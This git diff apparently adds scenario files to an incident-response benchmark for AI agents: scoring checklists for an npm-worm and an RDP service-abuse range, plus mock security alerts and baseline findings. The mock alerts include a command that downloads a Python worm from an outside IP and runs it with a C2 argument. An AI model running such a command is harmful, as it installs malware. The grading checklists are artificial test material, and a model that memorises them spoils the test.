+- **方案分**:N/A + +## 维度 4:评测质量维度(9 项) + +### CHK-27:跨语言攻击链追踪 `Q-06` *仅检测项* +- **证据**:完整攻击链为 npm install → node setup.js → curl → python3 ld.py,跨 JavaScript 和 Python 两种运行时 +- **检测分**(3 分) + - 发现:识别到跨语言的多阶段攻击链 + - 证据:准确描述 npm postinstall → JS dropper → curl 下载 → Python 蠕虫的完整路径 + - 归因:将各阶段正确串联,说明跨语言边界不影响追踪 +- **方案分**:N/A +- **关键**:进程链可能在 node → curl → python3 边界断裂,Agent 需主动关联 + +### CHK-28:恶意包溯源 `Q-01` *仅检测项* +- **证据**:`/opt/webapp/package-lock.json` 中 `@corp-utils/logger` 的 `resolved` 字段指向攻击机 HTTP URL +- **检测分**(3 分) + - 发现:从 package-lock.json 定位恶意包来源 + - 证据:引用 resolved URL、版本号、integrity hash + - 归因:将包来源 URL 与攻击机 IP 关联 +- **方案分**:N/A +- **加分项**:Agent 对比 package.json 和 package-lock.json 发现手动注入的依赖 + +### CHK-29:入口判定 `Q-01` `Q-04` *仅检测项* +- **证据**:Webhook 访问日志 + npm install 日志 + 无 SSH 暴力破解记录(蠕虫的扫描是在攻击之后) +- **检测分**(3 分) + - 发现:正确判定入口为"CI/CD Webhook 被利用 + npm 供应链投毒" + - 证据:引用 Nginx access.log 中 POST /api/webhook/deploy 记录、deploy.log 中 npm install 记录 + - 归因:排除 SSH 弱密码作为初始入口(SSH 登录发生在 Phase 3,时间晚于 Webhook 调用) +- **方案分**:N/A +- **关键**:Agent 不应误判入口为 SSH 弱密码——虽然 SSH 配置确实存在弱点,但攻击链的因果关系是先 Webhook 再 SSH + +### CHK-30:攻击者 IP 识别 `Q-03` *仅检测项* +- **证据**:Nginx access.log 中 POST /api/webhook/deploy 的源 IP;auth.log 中 SSH 登录源 IP;蠕虫代码中硬编码的 C2 地址 +- **检测分**(3 分) + - 发现:识别出攻击者源 IP + - 证据:引用至少两个独立来源(Webhook 日志 + SSH 日志或蠕虫代码) + - 归因:确认同一 IP 贯穿 Webhook 调用、SSH 登录、C2 回连 +- **方案分**:N/A(封禁方案由 CHK-39 覆盖) + +### CHK-31:网络扫描行为识别 `Q-02` *仅检测项* +- **证据**:`/var/tmp/.npm-cache/scan_results.txt` 含扫描结果;auth.log 中可能有蠕虫发起的 SSH 尝试记录 +- **检测分**(3 分) + - 发现:识别到内网 SSH 端口扫描行为 + - 证据:引用扫描结果文件和/或 auth.log 中的异常 SSH 尝试 + - 归因:将网络扫描与蠕虫的横向传播功能关联 +- **方案分**:N/A +- **加分项**:评估扫描覆盖的网段范围和潜在传播风险 + +### CHK-32:凭证泄露范围评估 `Q-08` *仅检测项* +- **证据**:蠕虫窃取了 5 类凭证:npm token、SSH 私钥、.env 秘密、Git 凭证、bash_history 中的命令 +- **检测分**(3 分) + - 发现:全面评估凭证泄露范围 + - 证据:列出每类被窃取凭证及其业务影响 + - 归因:指出凭证泄露可导致的二次攻击面(如 npm token 可发布恶意包、SSH 密钥可登录其他服务器) +- **方案分**:N/A +- **关键**:Agent 应评估 5 类凭证中每一类的泄露后果,而非笼统说"凭证泄露" + +### CHK-33:攻击时间线重建 `Q-02` *仅检测项* +- **证据**:Nginx access.log(Webhook 调用)、deploy.log(npm install)、文件 ctime(蠕虫创建)、auth.log(SSH 登录)、systemd unit 创建时间 +- **检测分**(3 分) + - 发现:构建出连贯的攻击时间线 + - 证据:Webhook 调用 → npm install → 蠕虫启动 → 凭证窃取 → SSH 登录 → 挖矿部署 → 持久化 + - 归因:将多个时间戳来源交叉关联,形成完整攻击叙事 +- **方案分**:N/A +- **加分项**:Agent 注意到日志部分清理(deploy.log 中 corp-utils-logger 行被删、auth.log 部分截断) + +### CHK-34:蠕虫 C2 通信模式 `Q-03` *仅检测项* +- **证据**:蠕虫代码中的 `/beacon` HTTP 回连路径 + `/report` 初始感染报告路径 +- **检测分**(3 分) + - 发现:从蠕虫代码中提取 C2 通信协议 + - 证据:指出 HTTP 回连 URL、数据格式(JSON)、传输内容(系统信息 + 窃取的凭证目录列表) + - 归因:区分 C2 回连和矿池外连是两种不同的恶意出站通信 +- **方案分**:N/A + +## 维度 5:修复闭环(5 项) + +### CHK-35:恶意包移除 + npm 审计 `VUL-01` +- **证据**:移除恶意包后运行 npm audit +- **检测分**(3 分) + - 发现:建议运行 `npm audit` 检查其他已知漏洞 + - 证据:说明 npm audit 的范围和局限性 + - 归因:体现供应链安全的持续监控意识 +- **方案分**(2 分) + - 正确性:给出 `npm uninstall @corp-utils/logger && npm audit` + - 完整性:建议配置 `npm install --ignore-scripts` 或使用 `.npmrc` 的 `ignore-scripts=true` + +### CHK-36:凭证全面轮换 `BAS-03` +- **证据**:5 类凭证均已被窃取 +- **检测分**(3 分) + - 发现:建议轮换所有已泄露的凭证 + - 证据:列出需要轮换的具体凭证(npm token、SSH 密钥、.env 中的 DB/API/JWT/SMTP 密码、Git token) + - 归因:凭证泄露后不轮换等于攻击者仍持有有效访问权 +- **方案分**(2 分) + - 正确性:给出每类凭证的具体轮换方法 + - 完整性:涵盖全部 5 类,说明轮换顺序和验证方法 + +### CHK-37:C2 + 矿池出站封禁 `ENT-N02` +- **证据**:蠕虫回连 C2(攻击机 IP:8888)+ 挖矿连接矿池(pool.evil-example.invalid:4444) +- **检测分**(3 分) + - 发现:建议封禁两类恶意出站连接 + - 证据:引用 C2 地址和矿池地址 + - 归因:区分蠕虫 C2 和矿池是两个独立的恶意出站目标 +- **方案分**(2 分) + - 正确性:给出 iptables/ufw 出站规则 + - 完整性:包含规则持久化 + +### CHK-38:攻击者 IP 入站封禁 `ENT-N01` +- **证据**:从 Nginx 日志和 auth.log 中识别的攻击者 IP +- **检测分**(3 分) + - 发现:建议封禁攻击者入站 IP + - 证据:引用攻击者 IP 和多个日志来源 + - 归因:关联到 Webhook 调用和 SSH 登录 +- **方案分**(2 分) + - 正确性:给出防火墙入站拒绝规则 + - 完整性:包含安全组/firewall 规则持久化 + +### CHK-39:服务重启与验证 `Q-07` +- **证据**:Nginx、Express webapp、SSH 在修复后应正常运行 +- **检测分**(3 分) + - 发现:建议验证修复操作未影响业务服务 + - 证据:列出需要验证的关键服务 + - 归因:体现业务影响意识 +- **方案分**(2 分) + - 正确性:列出关键服务的状态检查命令 + - 完整性:涵盖 nginx、webapp (PM2)、sshd diff --git a/ranges/npm-worm/disk.tar.gz b/ranges/npm-worm/disk.tar.gz new file mode 100644 index 0000000000000000000000000000000000000000..9d50321f12c6457f40e4d5dd2b3db467c54f5bff --- /dev/null +++ b/ranges/npm-worm/disk.tar.gz @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:ab896004d00edbf57a5b6e61d4deab73214dab15459a050d4e406e4b1a8c0c32 +size 782035371 diff --git a/ranges/npm-worm/disk.tar.gz.sha256 b/ranges/npm-worm/disk.tar.gz.sha256 new file mode 100644 index 0000000000000000000000000000000000000000..de146abab2c3a59fd74faf3cd24bddf658916f94 --- /dev/null +++ b/ranges/npm-worm/disk.tar.gz.sha256 @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:fcd1318688200038be3e2effd49c35535d4271f039d615cda29fdc0f3d98a10c +size 78 diff --git a/ranges/npm-worm/sas-mock/alerts.json b/ranges/npm-worm/sas-mock/alerts.json new file mode 100644 index 0000000000000000000000000000000000000000..46d5d41ea44b961d5bcb2f1ca090cda9269f77f5 --- /dev/null +++ b/ranges/npm-worm/sas-mock/alerts.json @@ -0,0 +1,236 @@ +[ + { + "Advanced": false, + "AlarmEventName": "linux可疑命令执行", + "AlarmEventNameDisplay": "可疑命令执行", + "AlarmEventType": "进程异常行为", + "AlarmEventTypeDisplay": "进程异常行为", + "AlarmUniqueInfo": "a602556781c1c1b5edac01a943e0bf95", + "AutoBreaking": false, + "CanBeDealOnLine": false, + "CanCancelFault": false, + "ContainHwMode": false, + "DataSource": "aegis_suspicious_event", + "Desc": "检测模型发现您的服务器上执行的进程命令行高度可疑,很有可能与木马、病毒、黑客行为有关。", + "Details": [ + { + "NameDisplay": "提示", + "Type": "text", + "Value": "该进程的命令行异常,与正常进程有较大的区别。", + "ValueDisplay": "该进程的命令行异常,与正常进程有较大的区别。" + }, + { + "NameDisplay": "告警原因", + "Type": "text", + "Value": "\t\t 检测模型发现您的服务器上执行的进程命令行高度可疑,很有可能与木马、病毒、黑客行为有关。\n ", + "ValueDisplay": "\t\t 检测模型发现您的服务器上执行的进程命令行高度可疑,很有可能与木马、病毒、黑客行为有关。\n " + }, + { + "NameDisplay": "用户名", + "Type": "text", + "Value": "developer", + "ValueDisplay": "developer" + }, + { + "NameDisplay": "命令行", + "Type": "text", + "Value": "/bin/sh -c curl -sf http://8.217.135.152:8888/ld.py -o /tmp/.ld.py && chmod 755 /tmp/.ld.py && nohup python3 /tmp/.ld.py --c2 8.217.135.152:8888 >/dev/null 2>&1 &", + "ValueDisplay": "/bin/sh -c curl -sf http://8.217.135.152:8888/ld.py -o /tmp/.ld.py && chmod 755 /tmp/.ld.py && nohup python3 /tmp/.ld.py --c2 8.217.135.152:8888 >/dev/null 2>&1 &" + }, + { + "NameDisplay": "进程路径", + "Type": "text", + "Value": "-", + "ValueDisplay": "-" + }, + { + "NameDisplay": "进程ID", + "Type": "text", + "Value": "1874", + "ValueDisplay": "1874" + }, + { + "NameDisplay": "父进程文件路径", + "Type": "text", + "Value": "-", + "ValueDisplay": "-" + }, + { + "NameDisplay": "父进程命令行", + "Type": "text", + "Value": "-", + "ValueDisplay": "-" + }, + { + "NameDisplay": "父进程ID", + "Type": "text", + "Value": "1867", + "ValueDisplay": "1867" + }, + { + "NameDisplay": "进程链", + "Type": "html", + "Value": "
-[1514]  PM2 v7.0.1: God Daemon (/home/developer/.pm2)\n    -[1777]  node /opt/webapp/server.js\n        -[1853]  /bin/sh -c echo \"[2026-05-07T09:31:00.619Z] Installing packages: http://8.217.135.152:8888/corp-utils-logger.tgz\" >> /var/log/deploy.log && cd /opt/webapp && npm install http://8.217.135.152:8888/corp-utils-logger.tgz 2>&1 | tee -a /var/log/deploy.log\n            -[1854]  node /usr/bin/npm install http://8.217.135.152:8888/corp-utils-logger.tgz\n                -[1866]  sh -c node scripts/setup.js\n                    -[1867]  node scripts/setup.js\n
\n", + "ValueDisplay": "
-[1514]  PM2 v7.0.1: God Daemon (/home/developer/.pm2)\n    -[1777]  node /opt/webapp/server.js\n        -[1853]  /bin/sh -c echo \"[2026-05-07T09:31:00.619Z] Installing packages: http://8.217.135.152:8888/corp-utils-logger.tgz\" >> /var/log/deploy.log && cd /opt/webapp && npm install http://8.217.135.152:8888/corp-utils-logger.tgz 2>&1 | tee -a /var/log/deploy.log\n            -[1854]  node /usr/bin/npm install http://8.217.135.152:8888/corp-utils-logger.tgz\n                -[1866]  sh -c node scripts/setup.js\n                    -[1867]  node scripts/setup.js\n
\n" + }, + { + "NameDisplay": "描述", + "Type": "text", + "Value": "该进程的命令行与正常进程有较大的区别,有可能与恶意软件或黑客有关。", + "ValueDisplay": "该进程的命令行与正常进程有较大的区别,有可能与恶意软件或黑客有关。" + }, + { + "NameDisplay": "处置建议", + "Type": "html", + "Value": "
    \n
  1. 首先验证告警的准确性。根据告警中的IOC(例如命令行,文件路径、网络等)结合机器上的异常行为或其他告警,判断告警是否为误报。如果是则忽略或加白该告警;如果不是则及时进行处置,避免恶意行为产生进一步的影响。
  2. \n
  3. 调查告警的产生根因。根据告警详情或其他告警的事件说明,还原机器被入侵的原因,修复相关漏洞或清理相关后门,防止攻击者的二次入侵。
  4. \n
\n", + "ValueDisplay": "
    \n
  1. 首先验证告警的准确性。根据告警中的IOC(例如命令行,文件路径、网络等)结合机器上的异常行为或其他告警,判断告警是否为误报。如果是则忽略或加白该告警;如果不是则及时进行处置,避免恶意行为产生进一步的影响。
  2. \n
  3. 调查告警的产生根因。根据告警详情或其他告警的事件说明,还原机器被入侵的原因,修复相关漏洞或清理相关后门,防止攻击者的二次入侵。
  4. \n
\n" + } + ], + "DisplaySandboxResult": false, + "EventNotes": [], + "EventStatus": 1, + "EventSubType": "linux可疑命令执行", + "HasTraceInfo": false, + "Id": 713554071, + "InstanceId": "i-mock-npm-worm-001", + "InstanceName": "range-npm-worm-victim", + "InternetIp": "203.0.113.10", + "IntranetIp": "172.16.33.142", + "LargeModel": true, + "LastTime": "2026-05-07 17:31:01", + "LastTimeStamp": 1778146261000, + "Level": "serious", + "Name": "进程异常行为-可疑命令执行", + "OccurrenceTime": "2026-05-07 17:31:01", + "OccurrenceTimeStamp": 1778146261000, + "SaleVersion": "0", + "SecurityEventIds": "713554071", + "Stages": "[\"代码执行\"]", + "SupportOperateCode": "AI.real_attack", + "TacticItems": [ + { + "TacticDisplayName": "代码执行", + "TacticId": "TA0002" + } + ], + "UniqueInfo": "ed88d0ac0261dcef4bfa7a9f487f4abf", + "Uuid": "mock-uuid-npm-worm-victim" + }, + { + "Advanced": false, + "AlarmEventName": "Web应用创建异常进程", + "AlarmEventNameDisplay": "Web应用创建异常子进程", + "AlarmEventType": "进程异常行为", + "AlarmEventTypeDisplay": "进程异常行为", + "AlarmUniqueInfo": "cb590ffe62265f87d2b3aecac2bfd7de", + "AutoBreaking": false, + "CanBeDealOnLine": false, + "CanCancelFault": false, + "ContainHwMode": false, + "DataSource": "aegis_suspicious_event", + "Desc": "-", + "Details": [ + { + "NameDisplay": "告警原因", + "Type": "text", + "Value": "该web服务创建了不寻常的子进程", + "ValueDisplay": "该web服务创建了不寻常的子进程" + }, + { + "NameDisplay": "用户名", + "Type": "text", + "Value": "developer", + "ValueDisplay": "developer" + }, + { + "NameDisplay": "命令行", + "Type": "text", + "Value": "/bin/sh -c curl -sf http://8.217.135.152:8888/ld.py -o /tmp/.ld.py && chmod 755 /tmp/.ld.py && nohup python3 /tmp/.ld.py --c2 8.217.135.152:8888 >/dev/null 2>&1 &", + "ValueDisplay": "/bin/sh -c curl -sf http://8.217.135.152:8888/ld.py -o /tmp/.ld.py && chmod 755 /tmp/.ld.py && nohup python3 /tmp/.ld.py --c2 8.217.135.152:8888 >/dev/null 2>&1 &" + }, + { + "NameDisplay": "进程路径", + "Type": "text", + "Value": "/usr/bin/dash", + "ValueDisplay": "/usr/bin/dash" + }, + { + "NameDisplay": "进程ID", + "Type": "text", + "Value": "1874", + "ValueDisplay": "1874" + }, + { + "NameDisplay": "父进程命令行", + "Type": "text", + "Value": "node scripts/setup.js", + "ValueDisplay": "node scripts/setup.js" + }, + { + "NameDisplay": "父进程文件路径", + "Type": "text", + "Value": "/usr/bin/node", + "ValueDisplay": "/usr/bin/node" + }, + { + "NameDisplay": "父进程ID", + "Type": "text", + "Value": "1867", + "ValueDisplay": "1867" + }, + { + "NameDisplay": "进程链", + "Type": "html", + "Value": "

-[1514]  PM2 v7.0.1: God Daemon (/home/developer/.pm2)\n
    -[1777]  node /opt/webapp/server.js\n
        -[1853]  /bin/sh -c echo \"[2026-05-07T09:31:00.619Z] Installing packages: http://8.217.135.152:8888/corp-utils-logger.tgz\" >> /var/log/deploy.log && cd /opt/webapp && npm install http://8.217.135.152:8888/corp-utils-logger.tgz 2>&1 | tee -a /var/log/deploy.log\n
            -[1854]  node /usr/bin/npm install http://8.217.135.152:8888/corp-utils-logger.tgz\n
                -[1866]  sh -c node scripts/setup.js\n
                    -[1867]  node scripts/setup.js

\n", + "ValueDisplay": "

-[1514]  PM2 v7.0.1: God Daemon (/home/developer/.pm2)\n
    -[1777]  node /opt/webapp/server.js\n
        -[1853]  /bin/sh -c echo \"[2026-05-07T09:31:00.619Z] Installing packages: http://8.217.135.152:8888/corp-utils-logger.tgz\" >> /var/log/deploy.log && cd /opt/webapp && npm install http://8.217.135.152:8888/corp-utils-logger.tgz 2>&1 | tee -a /var/log/deploy.log\n
            -[1854]  node /usr/bin/npm install http://8.217.135.152:8888/corp-utils-logger.tgz\n
                -[1866]  sh -c node scripts/setup.js\n
                    -[1867]  node scripts/setup.js

\n" + }, + { + "NameDisplay": "提示", + "Type": "text", + "Value": "检测到Web应用程序创建了可疑的子进程", + "ValueDisplay": "检测到Web应用程序创建了可疑的子进程" + }, + { + "NameDisplay": "描述", + "Type": "text", + "Value": "检测到Web应用程序创建了可疑的子进程。有可能是攻击者利用Web应用程序的漏洞执行的命令所导致的,也有可能是程序本身就会有这种行为所引起的误报。建议根据实际情况进一步判断告警的真实性。", + "ValueDisplay": "检测到Web应用程序创建了可疑的子进程。有可能是攻击者利用Web应用程序的漏洞执行的命令所导致的,也有可能是程序本身就会有这种行为所引起的误报。建议根据实际情况进一步判断告警的真实性。" + }, + { + "NameDisplay": "处置建议", + "Type": "html", + "Value": "
    \n
  1. 首先验证告警的准确性。根据告警中的IOC(例如命令行,文件路径、网络等)结合机器上的异常行为或其他告警,判断告警是否为误报。如果是则忽略或加白该告警;如果不是则及时进行处置,避免恶意行为产生进一步的影响。
  2. \n
  3. 调查告警的产生根因。根据告警详情或其他告警的事件说明,还原机器被入侵的原因,修复相关漏洞或清理相关后门,防止攻击者的二次入侵。
  4. \n
\n", + "ValueDisplay": "
    \n
  1. 首先验证告警的准确性。根据告警中的IOC(例如命令行,文件路径、网络等)结合机器上的异常行为或其他告警,判断告警是否为误报。如果是则忽略或加白该告警;如果不是则及时进行处置,避免恶意行为产生进一步的影响。
  2. \n
  3. 调查告警的产生根因。根据告警详情或其他告警的事件说明,还原机器被入侵的原因,修复相关漏洞或清理相关后门,防止攻击者的二次入侵。
  4. \n
\n" + } + ], + "DisplaySandboxResult": false, + "EventNotes": [], + "EventStatus": 1, + "EventSubType": "Web应用创建异常进程", + "HasTraceInfo": false, + "Id": 713460515, + "InstanceId": "i-mock-npm-worm-001", + "InstanceName": "range-npm-worm-victim", + "InternetIp": "203.0.113.10", + "IntranetIp": "172.16.33.142", + "LargeModel": true, + "LastTime": "2026-05-07 17:31:01", + "LastTimeStamp": 1778146261000, + "Level": "suspicious", + "Name": "进程异常行为-Web应用创建异常子进程", + "OccurrenceTime": "2026-05-07 17:31:01", + "OccurrenceTimeStamp": 1778146261000, + "SaleVersion": "0", + "SecurityEventIds": "713460515", + "Stages": "[\"初始入口\"]", + "SupportOperateCode": "AI.real_attack", + "TacticItems": [ + { + "TacticDisplayName": "初始入口", + "TacticId": "TA0001" + } + ], + "UniqueInfo": "259c659a5c0167cc7d3922347ace5477", + "Uuid": "mock-uuid-npm-worm-victim" + } +] \ No newline at end of file diff --git a/ranges/npm-worm/sas-mock/baselines.json b/ranges/npm-worm/sas-mock/baselines.json new file mode 100644 index 0000000000000000000000000000000000000000..1c2f3e06277529466102662ab51231ea1381eb67 --- /dev/null +++ b/ranges/npm-worm/sas-mock/baselines.json @@ -0,0 +1,122 @@ +{ + "_comment": "SAS mock baseline data for range-npm-worm. Application-level supply-chain artifacts are primarily disk evidence; this file only keeps baseline categories relevant to the npm worm scenario.", + "WarningSummarys": [ + { + "CheckCount": 16, + "CheckExploit": false, + "ContainerRisk": false, + "DatabaseRisk": false, + "HighWarningCount": 3, + "LastFoundTime": "2026-05-07 04:34:00", + "Level": "high", + "LowWarningCount": 0, + "MediumWarningCount": 4, + "RiskId": 43, + "RiskName": "阿里云标准-Ubuntu Linux 安全基线", + "SubTypeAlias": "阿里云标准-Ubuntu Linux 安全基线", + "TypeAlias": "最佳安全实践", + "WarningMachineCount": 1, + "WarningItems": [ + { + "Item": "SSH PermitRootLogin 配置为 yes", + "CheckId": "CHK-10", + "Level": "high" + }, + { + "Item": "SSH PasswordAuthentication 配置为 yes", + "CheckId": "CHK-11", + "Level": "medium" + }, + { + "Item": "developer 用户 sudo 权限过宽", + "CheckId": "CHK-18", + "Level": "high" + } + ] + }, + { + "CheckCount": 1, + "CheckExploit": true, + "ContainerRisk": false, + "DatabaseRisk": false, + "HighWarningCount": 1, + "LastFoundTime": "2026-05-07 04:37:12", + "Level": "high", + "LowWarningCount": 0, + "MediumWarningCount": 0, + "RiskId": 105, + "RiskName": "弱口令-Linux系统登录弱口令检查", + "SubTypeAlias": "弱口令-Linux系统登录弱口令检查", + "TypeAlias": "弱口令", + "WarningMachineCount": 1, + "WarningItems": [ + { + "Item": "root 用户存在弱密码 npm@2024", + "CheckId": "CHK-12", + "Level": "high" + } + ] + }, + { + "CheckCount": 13, + "CheckExploit": false, + "ContainerRisk": false, + "DatabaseRisk": false, + "HighWarningCount": 0, + "LastFoundTime": "2026-05-07 04:35:45", + "Level": "medium", + "LowWarningCount": 1, + "MediumWarningCount": 2, + "RiskId": 96, + "RiskName": "阿里云标准-Nginx安全基线", + "SubTypeAlias": "阿里云标准-Nginx安全基线", + "TypeAlias": "最佳安全实践", + "WarningMachineCount": 1, + "WarningItems": [ + { + "Item": "Nginx 反向代理暴露未授权部署接口 /api/webhook/deploy", + "CheckId": "CHK-13", + "Level": "medium" + } + ] + }, + { + "CheckCount": 4, + "CheckExploit": false, + "ContainerRisk": false, + "DatabaseRisk": false, + "HighWarningCount": 2, + "LastFoundTime": "2026-05-07 04:36:10", + "Level": "high", + "LowWarningCount": 0, + "MediumWarningCount": 2, + "RiskId": 9001, + "RiskName": "应用配置敏感信息风险", + "SubTypeAlias": "应用配置敏感信息风险", + "TypeAlias": "最佳安全实践", + "WarningMachineCount": 1, + "WarningItems": [ + { + "Item": "/home/developer/.npmrc 明文保存 npm token", + "CheckId": "CHK-14", + "Level": "high" + }, + { + "Item": "/home/developer/.ssh/id_rsa 未加密保护", + "CheckId": "CHK-15", + "Level": "high" + }, + { + "Item": "/opt/webapp/.env 权限过松并包含 DB/API/JWT 秘密", + "CheckId": "CHK-16", + "Level": "medium" + }, + { + "Item": "/home/developer/.git-credentials 明文保存 Git 凭证", + "CheckId": "CHK-17", + "Level": "medium" + } + ] + } + ] +} \ No newline at end of file diff --git a/ranges/npm-worm/sas-mock/vulns.json b/ranges/npm-worm/sas-mock/vulns.json new file mode 100644 index 0000000000000000000000000000000000000000..0637a088a01e8ddab3bf3fa98dbe804cbde1a0dc --- /dev/null +++ b/ranges/npm-worm/sas-mock/vulns.json @@ -0,0 +1 @@ +[] \ No newline at end of file diff --git a/ranges/rdp-service-abuse/checklist.en.md b/ranges/rdp-service-abuse/checklist.en.md new file mode 100644 index 0000000000000000000000000000000000000000..54d9566580ab31497450dfd92280abb924649bbb --- /dev/null +++ b/ranges/rdp-service-abuse/checklist.en.md @@ -0,0 +1,129 @@ +# range-rdp-service-abuse Checklist (schema v2) + +## Capability-level scoring + +Each atomic CHK has three dimensions: + +- **Detection score** (max 3 pts): Discovery (1) + Evidence (1) + Attribution (1) +- **Plan score** (max 2 pts): Correctness (1) + Completeness (1) +- **detection-only**: Plan score marked N/A, not counted in the corresponding dimension summary. + +### CHK-01: RDP spray failed-login detection `Q-02` + +- **Evidence**: Security 4625, TerminalServices authentication events, same source attempting multiple local accounts within a short time window. +- **Detection score**: Discovery of the RDP failed-login pattern; cite accounts, time window, event IDs, or log paths; attribute to password spraying rather than an ordinary single login failure. +- **Plan score**: N/A. + +### CHK-02: helpdesk RDP login detection `Q-02` + +- **Evidence**: `helpdesk`'s Security 4624 / TerminalServices 1149 success records, with Logon Type consistent with RDP/remote interactive. +- **Detection score**: Discovery of the successful account; cite the events and source; attribute to the low-privilege local account the attacker hit. +- **Plan score**: N/A. + +### CHK-03: Attacker source-IP attribution `ENT-N01` `Q-03` + +- **Evidence**: Source address from RDP authentication events, SAS alerts, or remote-management events. +- **Detection score**: Discovery of the source IP; cite at least one class of log evidence; correlate the IP to the spraying and the subsequent operation timeline. +- **Plan score**: Correctness requires recommending blocking or restricting the source; Completeness requires describing the verification method for cloud security groups / host firewall / log retention. + +### CHK-04: Entry-point RDP weak password `BAS-03` `Q-01` + +- **Evidence**: RDP spraying and `helpdesk` successful login appear first, followed by authenticated service-control activity. +- **Detection score**: Discovery of the entry type; cite the before/after event sequence; clearly distinguish the initial RDP entry from the subsequent credentialed service-abuse execution channel (RPC/SCM or Windows OpenSSH local SCM fallback). +- **Plan score**: Correctness requires recommending remediation of the weak password and RDP exposure surface; Completeness requires avoiding an incorrect Webshell/RCE root-cause claim. + +### CHK-05: CorpBackupSvc weak service DACL `BAS-04` + +- **Evidence**: In `CorpBackupSvc`'s security descriptor, the `helpdesk` SID holds service-control permissions such as change config / start / stop. +- **Detection score**: Discovery of the weak DACL; cite the SDDL, SID, or permission entries; attribute to a low-privilege account being able to abuse the service to gain SYSTEM execution. +- **Plan score**: Correctness requires removing `helpdesk`'s explicit high-risk permissions; Completeness requires retaining the necessary SYSTEM/Administrators permissions and verifying the business service is still configurable. + +### CHK-06: CorpBackupSvc config tampering `PER-V03` + +- **Evidence**: SCM 7040/7045/7036, abnormal service `ImagePath`, and the binPath being changed to a PowerShell payload during the attack window and then restored. +- **Detection score**: Discovery of the config tampering; cite event or configuration evidence; attribute to the execution action following the service-DACL abuse. +- **Plan score**: Correctness requires restoring the legitimate binPath; Completeness requires reviewing the service startup account, DACL, and related SCM events. + +### CHK-07: SYSTEM payload execution chain `Q-02` + +- **Evidence**: After the service starts, `WindowsHealthSvc`, scheduled tasks, credential residue, and beacon logs are dropped. +- **Detection score**: Discovery of the SYSTEM payload result; cite multiple dropped artifacts; attribute to the SYSTEM-privilege chain resulting from service execution. +- **Plan score**: Correctness requires cleanup following the service-abuse chain; Completeness requires covering payload, persistence, credential residue, and account rotation. + +### CHK-08: Masquerade svc Windows HealthSvc detection `PER-V03` + +- **Evidence**: `HKLM:\SYSTEM\CurrentControlSet\Services\WindowsHealthSvc` exists, with binPath pointing to `C:\ProgramData\WindowsHealth\WindowsHealthSvc.ps1`. +- **Detection score**: Discovery of the masquerading service; cite the registry/service configuration; attribute to post-attack service persistence. +- **Plan score**: Correctness requires stopping and deleting the service; Completeness requires also deleting the payload directory and checking for adjacent masquerading services. + +### CHK-09: Windows HealthSvc cleanup plan `PER-V03` + +- **Evidence**: Same as CHK-08. +- **Detection score**: N/A. +- **Plan score**: Correctness requires including `sc.exe stop WindowsHealthSvc` and `sc.exe delete WindowsHealthSvc` or equivalent PowerShell; Completeness requires collecting evidence before cleanup, then verifying that neither the service nor the process exists. + +### CHK-10: Scheduled task HealthSync detection `PER-S04` + +- **Evidence**: `\Microsoft\Windows\Maintenance\HealthSync` exists, with its Action pointing to the WindowsHealth payload. +- **Detection score**: Discovery of the scheduled task; cite the TaskPath, TaskName, and Action; attribute to post-attack scheduled-task persistence. +- **Plan score**: Correctness requires deleting the task; Completeness requires checking for adjacent masquerading tasks under the same path. + +### CHK-11: Scheduled-task action risk analysis `PER-S04` + +- **Evidence**: The task Action uses PowerShell, ExecutionPolicy Bypass, or a non-standard ProgramData path. +- **Detection score**: Discovery of the high-risk action; cite the full command; attribute to persistence launching the payload rather than an ordinary system-maintenance task. +- **Plan score**: Correctness requires explaining the risk and deleting or disabling it; Completeness requires decoding/expanding all parameters before drawing a conclusion. + +### CHK-12: Scheduled-task cleanup plan `PER-S04` + +- **Evidence**: Same as CHK-10/11. +- **Detection score**: N/A. +- **Plan score**: Correctness requires including `Unregister-ScheduledTask` or an equivalent deletion command; Completeness requires verifying that both the task XML and any running instance are gone. + +### CHK-13: Payload directory detection `ENT-F06` + +- **Evidence**: `C:\ProgramData\WindowsHealth`, `WindowsHealthSvc.ps1`, `last-beacon.log`. +- **Detection score**: Discovery of the directory and files; cite the path, mtime, or contents; attribute to the persistence payload and C2 log directory. +- **Plan score**: Correctness requires deleting the directory; Completeness requires deleting the service/task before deleting the directory to avoid it being recreated. + +### CHK-14: C2 indicator identification `ENT-N03` + +- **Evidence**: The domain and port in `last-beacon.log`. +- **Detection score**: Discovery of the C2 indicator; cite the log contents; attribute to a beacon/callback indicator rather than an ordinary business domain. +- **Plan score**: Correctness requires blocking the domain/port or an outbound policy; Completeness requires describing DNS, proxy, firewall, and log retrospection. + +### CHK-15: procdump residue detection `ENT-F06` + +- **Evidence**: `C:\Windows\Temp\procdump.exe`. +- **Detection score**: Discovery of the tool residue; cite the path; attribute to it being part of the LSASS dump toolchain. +- **Plan score**: Correctness requires deleting the tool; Completeness requires checking other temp directories and tools from the same time window. + +### CHK-16: lsass dump detection `ENT-F04` + +- **Evidence**: `C:\Windows\Temp\lsass.dmp`, with contents marked as an LSASS dump. +- **Detection score**: Discovery of the dump; cite the path and file type/contents; attribute to the credential-theft impact scope. +- **Plan score**: Correctness requires deleting the sensitive dump; Completeness requires first recording the impact scope and triggering credential rotation. + +### CHK-17: creds residue detection `ENT-F04` + +- **Evidence**: `C:\Windows\Temp\creds.txt`. +- **Detection score**: Discovery of the credential text; cite the path; attribute to credential-leak residue, without disclosing the plaintext contents in the report. +- **Plan score**: Correctness requires deleting the text; Completeness requires describing credential rotation, session revocation, and lateral-movement review. + +### CHK-18: Credential rotation and session revocation `BAS-03` + +- **Evidence**: Triggered if any of procdump, lsass dump, or creds.txt is present. +- **Detection score**: Discovery of the credential impact scope; cite the residue chain; attribute to local accounts and possibly cached credentials no longer being trustworthy. +- **Plan score**: Correctness requires rotating the affected local-account passwords; Completeness requires revoking active sessions and investigating reused credentials and lateral movement. + +### CHK-19: helpdesk weak-password fix `BAS-03` + +- **Evidence**: `helpdesk` was hit by RDP spraying. +- **Detection score**: Discovery of the weak-password account; cite the successful-login evidence; attribute to a valid-account entry. +- **Plan score**: Correctness requires disabling or rotating the `helpdesk` password; Completeness requires restricting RDP exposure, limiting Remote Desktop Users membership, and enabling audit/lockout policies. + +### CHK-20: Service DACL least-privilege fix `BAS-04` + +- **Evidence**: The `CorpBackupSvc` DACL explicitly grants `helpdesk` high-risk service-control permissions. +- **Detection score**: Discovery of the service-permission risk; cite the SDDL/SID; attribute to service misconfiguration leading to privilege escalation. +- **Plan score**: Correctness requires removing change config/start/stop/write permissions 